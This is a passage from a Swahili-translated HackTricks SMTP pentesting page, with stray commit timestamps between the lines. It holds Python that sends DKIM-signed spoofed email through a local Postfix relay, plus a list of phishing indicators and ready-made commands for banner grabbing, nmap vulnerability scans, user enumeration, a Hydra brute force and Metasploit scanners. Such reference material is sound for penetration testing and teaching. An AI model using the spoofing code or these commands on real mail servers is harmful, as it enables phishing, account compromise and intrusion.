2022-10-12 12:28:51 +00:00
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
### **Maelezo zaidi**
2020-09-26 15:24:30 +00:00
2024-02-11 02:13:58 +00:00
**Pata maelezo zaidi kuhusu ulinzi huu katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Viashiria vingine vya udanganyifu**
2020-11-29 23:31:10 +00:00
2024-02-11 02:13:58 +00:00
* Umri wa kikoa
* Viungo vinavyoelekeza kwa anwani za IP
2024-02-11 02:13:58 +00:00
* Mbinu za kubadilisha viungo
* Viambatanisho vya shaka (visivyo vya kawaida)
* Yaliyomo kwenye barua pepe yaliyoharibika
* Thamani zinazotumiwa ambazo ni tofauti na zile za vichwa vya barua pepe
* Kuwepo kwa cheti halali na lenye kuaminika la SSL
2024-02-11 02:13:58 +00:00
* Kutuma ukurasa kwenye tovuti za kuchuja maudhui ya wavuti
2020-11-29 23:31:10 +00:00
## Kutolewa kwa njia ya SMTP
2024-02-11 02:13:58 +00:00
**Ikiwa unaweza kutuma data kupitia SMTP** [**soma hii**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Faili ya Usanidi
### Postfix
2021-08-29 23:49:17 +00:00
Kawaida, ikiwa imewekwa, katika `/etc/postfix/master.cf` ina **maandishi ya kutekeleza** wakati kwa mfano barua pepe mpya inapopokelewa na mtumiaji. Kwa mfano, mstari `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` inamaanisha kwamba `/etc/postfix/filtering` itatekelezwa ikiwa barua pepe mpya inapokelewa na mtumiaji mark.
2021-08-29 23:49:17 +00:00
2024-02-11 02:13:58 +00:00
Faili nyingine za usanidi:
```
sendmail.cf
submit.cf
```
## Marejeo
2024-02-05 02:28:59 +00:00
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
## Amri za Kiotomatiki za HackTricks
```
2021-08-12 13:33:09 +00:00
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
2021-08-15 18:02:01 +00:00
Entry_1:
2024-02-11 02:13:58 +00:00
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
2021-08-15 18:02:01 +00:00
2024-02-11 02:13:58 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-smtp
2021-08-15 18:02:01 +00:00
Entry_2:
2024-02-11 02:13:58 +00:00
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
2021-08-15 18:02:01 +00:00
Entry_3:
2024-02-11 02:13:58 +00:00
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
2021-08-15 18:02:01 +00:00
Entry_4:
2024-02-11 02:13:58 +00:00
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
2021-08-15 18:02:01 +00:00
Entry_5:
2024-02-11 02:13:58 +00:00
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
2021-08-12 13:33:09 +00:00
2021-08-15 18:03:22 +00:00
Entry_6:
2024-02-11 02:13:58 +00:00
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
2021-09-13 15:35:02 +00:00
Entry_7:
2024-02-11 02:13:58 +00:00
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
2024-02-11 02:13:58 +00:00
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
2021-08-12 13:33:09 +00:00
```
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**Mipangilio inapatikana mara moja kwa tathmini ya udhaifu na upenyezaji**. Tekeleza pentest kamili kutoka popote ukiwa na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tuna